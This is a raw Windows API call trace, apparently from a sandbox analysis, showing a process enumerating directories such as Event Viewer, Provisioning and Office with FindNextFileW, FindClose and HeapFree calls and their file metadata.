	[0181.665] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xfe648d52, ftLastWriteTime.dwHighDateTime=0x1d32770, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 0
	[0181.665] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0181.665] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0181.665] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMart", cAlternateFileName="")) returned 1
	[0181.666] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.666] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PaidWiFi", cAlternateFileName="")) returned 0
	[0181.666] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0181.666] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0181.666] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1
	[0181.669] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.669] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1
	[0181.670] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.670] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0
	[0181.670] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0181.670] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.670] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Task", cAlternateFileName="")) returned 1
	[0181.693] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0181.693] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="folder.ico", cAlternateFileName="")) returned 1
	[0181.693] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.693] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1
	[0181.726] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.726] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="folder.ico", cAlternateFileName="")) returned 1
	[0181.726] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.726] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0
	[0181.726] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0181.726] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.740] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Task", cAlternateFileName="")) returned 0
	[0181.740] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0181.740] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0181.740] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1
	[0181.741] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0181.741] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1
	[0181.741] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0181.741] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1
	[0181.743] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.743] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Server", cAlternateFileName="")) returned 0
	[0181.743] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0181.743] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0181.743] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x40368daa, ftLastAccessTime.dwHighDateTime=0x1d39f5f, ftLastWriteTime.dwLowDateTime=0x40368daa, ftLastWriteTime.dwHighDateTime=0x1d39f5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1
	[0181.744] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.744] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 0
	[0181.744] FindClose (in: hFindFile=0x41405d8 | out: hFindFile=0x41405d8) returned 1
	[0181.744] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.744] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Views", cAlternateFileName="")) returned 0
	[0181.744] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0181.745] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0181.745] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1
	[0181.745] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.745] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="production", cAlternateFileName="PRODUC~1")) returned 1
	[0181.762] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.762] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 0
	[0181.763] FindClose (in: hFindFile=0x41405d8 | out: hFindFile=0x41405d8) returned 1
	[0181.764] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.764] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="production", cAlternateFileName="PRODUC~1")) returned 0
	[0181.764] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0181.764] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0181.766] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MapData", cAlternateFileName="")) returned 1
	[0181.766] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0181.766] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1
	[0181.767] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0181.767] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1
	[0181.767] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.767] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0
	[0181.767] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0181.767] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0181.768] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1
	[0181.771] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.771] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 1
	[0181.773] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.773] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 0
	[0181.773] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0181.773] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.773] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1
	[0181.774] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.774] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0
	[0181.774] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0181.774] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0181.774] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1
	[0181.774] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0181.774] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1
	[0181.781] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.781] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0181.784] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.784] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0181.784] FindClose (in: hFindFile=0x4140d98 | out: hFindFile=0x4140d98) returned 1
	[0181.784] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.784] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{1e05dd5d-a022-46c5-963c-b20de341170f}", cAlternateFileName="{1E05D~1")) returned 1
	[0181.786] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
